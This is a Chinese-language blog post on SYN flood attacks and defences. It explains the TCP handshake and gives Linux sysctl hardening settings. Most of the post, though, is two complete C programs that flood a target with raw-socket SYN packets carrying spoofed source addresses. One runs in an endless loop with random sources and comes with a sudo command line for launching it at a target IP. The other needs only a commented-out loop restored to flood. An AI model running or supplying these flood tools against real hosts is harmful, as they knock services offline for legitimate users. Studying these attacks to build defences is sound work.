SYN Flood ( attact and Defense) @ 071's blog :: 隨意窩 Xuite日誌
    1. 沒有新回應!
  • 201312171020SYN Flood ( attact and Defense)

    TCP 建立連接, 需要三個步驟, SYN/SYN ACK/ACK, 而SYN Flood 攻擊則是只下 SYN 給 Server (source IP 是假的) , 所以伺服器無法回 SYN ACK 給客戶端, 並且會保留此連線一段時間. 如果惡意的客戶端針對此攻擊,將導致伺服器端能保留的連線數滿載, 此時正常的 client (非攻擊程式) 亦無法連線到此伺服器.

     

    Reference:

    http://www.ndchost.com/wiki/server-administration/hardening-tcpip-syn-flood

    下面為文章內容:

    Hardening your TCP/IP Stack Against SYN Floods

    Denial of service (DoS) attacks launch via SYN floods can be very problematic for servers that are not properly configured to handle them. Proper firewall filtering policies are certainly usually the first line of defense, however the Linux kernel can also be hardened against these types of attacks. This type of hardening is useful for SYN floods that attempt to overload a particular service with requests (such as http) as opposed to one that intends to saturate the server's network connection, for which a firewall is needed to guard against.

    Definition of a SYN Flood

    TCP connections are established using a 3-way handshake. Attackers desiring to start a SYN flood will spoof their IP address in the header of the SYN packet sent to the server, so that when the server responds with it's SYN-ACK packet, it never reaches the destination (from which an ACK would be sent and the connection established). The server leaves these unestablished connections in a queue for a pre-determined period of time after which they are simply discarded. However if enough of these “fake” connections gum up the queue (backlog) , it can prevent new, legitimate requests from being handled. Linux has a relatively small backlog queue by default, and keeps half-open requests in the queue for up to 3 minutes! Thus the need for tweaking the way the Linux kernel handles these requests is born.

    Protecting your Server

    The Linux kernel allows you to directly change the various parameters needed to mitigate against SYN flood attacks. We won't go into detail here about what each one does specifically, however if you are interested you can read about them in detail here. First, we'll set the variables to be active immediately:

    1
    2
    3
    echo 1 > /proc/sys/net/ipv4/tcp_syncookies
    echo 2048 > /proc/sys/net/ipv4/tcp_max_syn_backlog
    echo 3 > /proc/sys/net/ipv4/tcp_synack_retries

     

     

     

    This sets the kernel to use the SYN cookies mechanism, use a backlog queue size of 2048 connections, and the amount of time to keep half-open connections in the queue (3 equates to roughly 45 seconds).

     

     

     

    Making the Changes Persist

    To make these changes persist over consecutive reboots, we need to tell the sysctl system about these modified parameters. We use the /etc/sysctl.conf file to do so. We will add the following lines to the bottom of the file:

    1
    2
    3
    4
    # TCP SYN Flood Protection
    net.ipv4.tcp_syncookies = 1
    net.ipv4.tcp_max_syn_backlog = 2048
    net.ipv4.tcp_synack_retries = 3

     

     

     

    Your changes will now be permanent!

     =================================================================================

    http://www.icylife.net/yunshu/show.php?id=367

    此文章連接是有關 SYN FLOOD 的linux程式碼

    /********************************************************************************************
    * SYN Flood, Test on Red Hat Enterprise Linux AS release 3 (Taroon Update 5), gcc 3.23
    * gcc -o syn_test -O3 syn_test.c
    * change log:
    * 	2006-12-01, code by yunshu(wustyunshu@hotmail.com), thx luoluo for fixing a bug.
    * 	2006-12-05, yunshu fix a bug, version 1.0
    * 	2006-12-26, thx bocai for reporting a bug, version 1.1
    * 	2008-04-26 luoluo add type options to support syn_ack and fin_ack flood v1.2
    *   2010-11-10 yunshu fix a little bug
    *   2010-11-19 yunshu modify the sleep funtion, version 1.3.
    *   2011-06-26 yunshu delete attack code, make it to be a testing tool.
    *
    *   it used to test loadblance, you have to change some code for attacking. 
    *********************************************************************************************/
    #include <stdio.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <pthread.h>
    #include <errno.h>
     
    typedef struct ip_hdr
    {
        unsigned char       h_verlen;
        unsigned char       tos;
        unsigned short      total_len;
        unsigned short      ident;
        unsigned short      frag_and_flags;
        unsigned char       ttl;
        unsigned char       proto;
        unsigned short      checksum;
        unsigned int        sourceIP;
        unsigned int        destIP;
    }IP_HEADER;
     
    typedef struct tcp_hdr
    {
        unsigned short      th_sport;
        unsigned short      th_dport;
        unsigned int        th_seq;
        unsigned int        th_ack;
        unsigned char       th_lenres;
        unsigned char       th_flag;
        unsigned short      th_win;
        unsigned short      th_sum;
        unsigned short      th_urp;
    }TCP_HEADER;
     
    typedef struct tsd_hdr
    {
        unsigned long       saddr;
        unsigned long       daddr;
        char                mbz;
        char                ptcl;
        unsigned short      tcpl;
    }PSD_HEADER;
     
    #define PACKET_SIZE     sizeof(IP_HEADER) + sizeof( TCP_HEADER )
     
    char    dst_ip[20] = { 0 };
    int     dst_port;
    unsigned long long sleeptime, starttime, outcount=0;
    int pkt_then_sleep = 0;
     
    unsigned short CheckSum(unsigned short * buffer, int size)
    {
            unsigned long   cksum = 0;
     
            while (size > 1)
            {
                    cksum += *buffer++;
                    size -= sizeof(unsigned short);
            }
            if (size)
            {
                    cksum += *(unsigned char *) buffer;
            }
            cksum = (cksum >> 16) + (cksum & 0xffff);
            cksum += (cksum >> 16);
     
            return (unsigned short) (~cksum);
    }
     
    void MySleep(unsigned int micro_second)
    {
            struct timeval  t_timeval;
     
            t_timeval.tv_sec = 0;
            t_timeval.tv_usec = micro_second;
     
            select( 0, NULL, NULL, NULL, &t_timeval );
    }
     
    void Init( char *buffer )
    {
            char    src_ip[20] = { 0 };
    	int     n = 0;
     
            IP_HEADER       IpHeader;
            TCP_HEADER      TcpHeader;
            PSD_HEADER      PsdHeader;
     
            sprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );
     
            IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned int));
            IpHeader.tos = 0;
            IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader));
            IpHeader.ident = 1;
            IpHeader.frag_and_flags = 0x40;
            IpHeader.ttl = 255;
            IpHeader.proto = IPPROTO_TCP;
            IpHeader.checksum = 0;
            IpHeader.sourceIP = inet_addr(src_ip);
            IpHeader.destIP = inet_addr(dst_ip);
     
            TcpHeader.th_sport = htons( rand()%9000 + 1234 );
            TcpHeader.th_dport = htons( dst_port );
            TcpHeader.th_seq = htonl( rand()%90000000 + 2345 );
            TcpHeader.th_ack = 0;
            TcpHeader.th_lenres = (sizeof(TcpHeader)/4<<4|0);
            TcpHeader.th_flag = 0x02;
            TcpHeader.th_win = htons(512);
            TcpHeader.th_sum = 0;
            TcpHeader.th_urp = 0;
     
            PsdHeader.saddr = IpHeader.sourceIP;
            PsdHeader.daddr = IpHeader.destIP;
            PsdHeader.mbz = 0;
            PsdHeader.ptcl = IPPROTO_TCP;
            PsdHeader.tcpl = htons(sizeof(TcpHeader));
     
            memcpy( (void*)buffer, (void*)&PsdHeader, sizeof(PsdHeader) );
            memcpy( (void*)(buffer + sizeof(PsdHeader)), (void*)&TcpHeader, sizeof(TcpHeader) );
            TcpHeader.th_sum = CheckSum( (unsigned short *) buffer, sizeof(PsdHeader) + sizeof(TcpHeader) );
     
    		memset( buffer, 0, PACKET_SIZE );
            memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );
            IpHeader.checksum = CheckSum( (unsigned short *) buffer, sizeof(IpHeader) );
     
            //memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );
            memcpy( (void*)(buffer+sizeof(IpHeader)), (void*)&TcpHeader, sizeof(TcpHeader) );
    }
     
    void Flood( )
    {
            int     sock;
    	int     flag = 1;
    	char    buffer[PACKET_SIZE] = { 0 };
     
            struct  sockaddr_in     sa;
            memset( &sa, 0, sizeof(struct  sockaddr_in) );
            sa.sin_family = AF_INET;
            sa.sin_port = htons(dst_port);
            sa.sin_addr.s_addr = inet_addr(dst_ip);
     
            if ( ( sock = socket(PF_INET,SOCK_RAW,6) ) < 1 )
            {
                    printf( "create socket error...%s\n", strerror(errno) );
                    exit (-1);
            }
     
            if( setsockopt( sock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) < 0 )
            {
                    printf("setsockopt error...%d\n", errno);
                    exit (-1);
            }
     
    	srand((unsigned) time(NULL));
     
    	int     number = 0;
    	if( sleeptime == 0 )
    	{
    		while(1)
    		{
    			memset( (void*)buffer, 0, PACKET_SIZE );
            		Init( buffer );
     
            		sendto( sock, buffer, PACKET_SIZE, 0, (struct sockaddr *)(&sa), sizeof(struct sockaddr_in) );
            		outcount ++;
    		}
    	}
    	else
    	{
    		while(1)
    		{
    			memset( (void*)buffer, 0, PACKET_SIZE );
            		Init( buffer );
     
            		sendto( sock, buffer, PACKET_SIZE, 0, (struct sockaddr *)(&sa), sizeof(struct sockaddr_in) );
            		outcount ++;
    			number ++;
     
    			if( number == pkt_then_sleep )
                            {
    				MySleep( sleeptime );
    				number = 0;
                            }
                    }
            }
    }
     
    void sig_proc(int signum)
    {
    	int ctime = 0;
     
            printf( "signal: %d\n", signum );
     
            ctime=time(NULL);
     
            printf("\n -- statistics -----------------------\n");
            printf("   packets sent:          %d\n",outcount);
            printf("   seconds active:        %d\n",ctime-starttime);
            printf("   average packet/second: %d\n",outcount/(ctime-starttime));
            printf(" -------------------------------------\n");
     
            exit(1);
    }
     
    int main(int argc,char *argv[])
    {
    	int ret = 0;
    	pthread_t* my_thread = NULL;
    	int a =0;
    	int type = 0;
     
            if( argc != 5 )
            {
                    fprintf(stderr,"\n%s <target ip> <target port> <pkt_then_sleep> <sleep_time>\n", argv[0]);
    		fprintf(stderr, "send syn packets to <target ip>:<target port>, sleep <sleep_time> microseconds per <pkt_then_sleep> paskets\n\n");
                    return -1;
            }
     
            strncpy( dst_ip, argv[1], 16 );
            dst_port = atoi( argv[2] );
     
            if( inet_addr(dst_ip) == INADDR_NONE )
            {      
                    printf( "target ip error.\n" );
                    return -1;
            }
     
            if( dst_port < 0 || dst_port > 65535 )
            {      
                    printf( "port error.\n" );
                    return -1;
            }
     
    	pkt_then_sleep = atoi(argv[3]);
    	if( pkt_then_sleep == 0 )
    	{
    		printf( "pkt_then_sleep error.\n" );
    		return -1;
    	}
            sleeptime = atoi(argv[4]);
     
            starttime = time(NULL);
            while(time(NULL) == starttime) usleep(1000);
     
            signal(SIGHUP,&sig_proc);
            signal(SIGINT,&sig_proc);
            signal(SIGQUIT,&sig_proc);
            signal(SIGILL,&sig_proc);
            signal(SIGABRT,&sig_proc);
            signal(SIGFPE,&sig_proc);
            signal(SIGSEGV,&sig_proc);
            signal(SIGPIPE,&sig_proc);
            signal(SIGALRM,&sig_proc);
            signal(SIGTERM,&sig_proc);
            signal(SIGUSR1,&sig_proc);
            signal(SIGUSR2,&sig_proc);
            signal(SIGCHLD,&sig_proc);
            signal(SIGCONT,&sig_proc);
            signal(SIGTSTP,&sig_proc);
            signal(SIGTTIN,&sig_proc);
            signal(SIGTTOU,&sig_proc);
     
            Flood();
     
            return 0;
    }
     

     

     

     

     =================================================================================

    出現如下錯誤時: 
    create socket error...Operation not permitted
    表示權限不夠, 使用sudo 去執行:  sudo ./syn_test 192.168.81.222 80 10000 100

    http://www.binarytides.com/syn-flood-dos-attack/

    =============================================================

    此文章連接亦是有關 SYN FLOOD 的linux程式碼

     

    SYN Flood DOS Attack with C Source Code (Linux)

     

     

    TCP/IP 3-way handshake is done to establish a connection between a client and a server. The process is :

     

     

    1. Client --SYN Packet--> Server
    2. Server --SYN/ACK Packet --> Client
    3. Client --ACK Packet --> Server

    The above 3 steps are followed to establish a connection between source and destination.

    SYN Flood DOS attacks involves sending too many SYN packets (with a bad or random source ip) to the destination server. These SYN requests get queued up on the server's buffer and use up the resources and memory of the server. This can lead to a crash or hang of the server machine.
    After sending the SYN packet it is a half-open connection and it takes up resources on the server machine. So if an attacker sends syn packets faster than memory is being freed up on the server then it would be an overflow situation.Since the server's resources are used the response to legitimate users is slowed down resulting in Denial of Service.

    Most webservers now a days use firewalls which can handle such syn flood attacks and moreover even web servers are now more immune.

     

     

     

     

     

     

     

     

     

    Below is an example code in c :

    Code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    /*
        Syn Flood DOS with LINUX sockets
    */
    #include<stdio.h>
    #include<string.h> //memset
    #include<sys/socket.h>
    #include<stdlib.h> //for exit(0);
    #include<errno.h> //For errno - the error number
    #include<netinet/tcp.h>   //Provides declarations for tcp header
    #include<netinet/ip.h>    //Provides declarations for ip header
      
    struct pseudo_header    //needed for checksum calculation
    {
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
          
        struct tcphdr tcp;
    };
      
    unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;
      
        sum=0;
        while(nbytes>1) {
            sum+=*ptr++;
            nbytes-=2;
        }
        if(nbytes==1) {
            oddbyte=0;
            *((u_char*)&oddbyte)=*(u_char*)ptr;
            sum+=oddbyte;
        }
      
        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;
          
        return(answer);
    }
      
    int main (void)
    {
        //Create a raw socket
        int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
        //Datagram to represent the packet
        char datagram[4096] , source_ip[32];
        //IP header
        struct iphdr *iph = (struct iphdr *) datagram;
        //TCP header
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
          
        strcpy(source_ip , "192.168.1.2");
        
        sin.sin_family = AF_INET;
        sin.sin_port = htons(80);
        sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
          
        memset (datagram, 0, 4096); /* zero out the buffer */
          
        //Fill in the IP Header
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htons(54321);  //Id of this packet
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;      //Set to 0 before calculating checksum
        iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
        iph->daddr = sin.sin_addr.s_addr;
          
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
          
        //TCP Header
        tcph->source = htons (1234);
        tcph->dest = htons (80);
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;      /* first and only tcp segment */
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840); /* maximum allowed window size */
        tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                    should fill in the correct checksum during transmission */
        tcph->urg_ptr = 0;
        //Now the IP checksum
          
        psh.source_address = inet_addr( source_ip );
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
          
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
          
        tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
          
        //IP_HDRINCL to tell the kernel that headers are included in the packet
        int one = 1;
        const int *val = &one;
        if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
        {
            printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
            exit(0);
        }
          
        //Uncommend the loop if you want to flood :)
        //while (1)
        //{
            //Send the packet
            if (sendto (s,      /* our socket */
                        datagram,   /* the buffer containing headers and data */
                        iph->tot_len,    /* total length of our datagram */
                        0,      /* routing flags, normally always 0 */
                        (struct sockaddr *) &sin,   /* socket addr, just like in */
                        sizeof (sin)) < 0)       /* a normal send() */
            {
                printf ("error\n");
            }
            //Data send successfully
            else
            {
                printf ("Packet Send \n");
            }
        //}
          
        return 0;
    }

     

     

     

     =================================================================================

    http://tools.ietf.org/html/rfc4987

    此連結是 rfc4987 文件 說明有關  

    TCP SYN Flooding Attacks and Common Mitigations

     

     



     

    multicast - mul...|日誌首頁|How to download...上一篇multicast - multiple network interface...下一篇How to download file from ftp server ? (如何從檔案伺服器下載檔案)...
    回應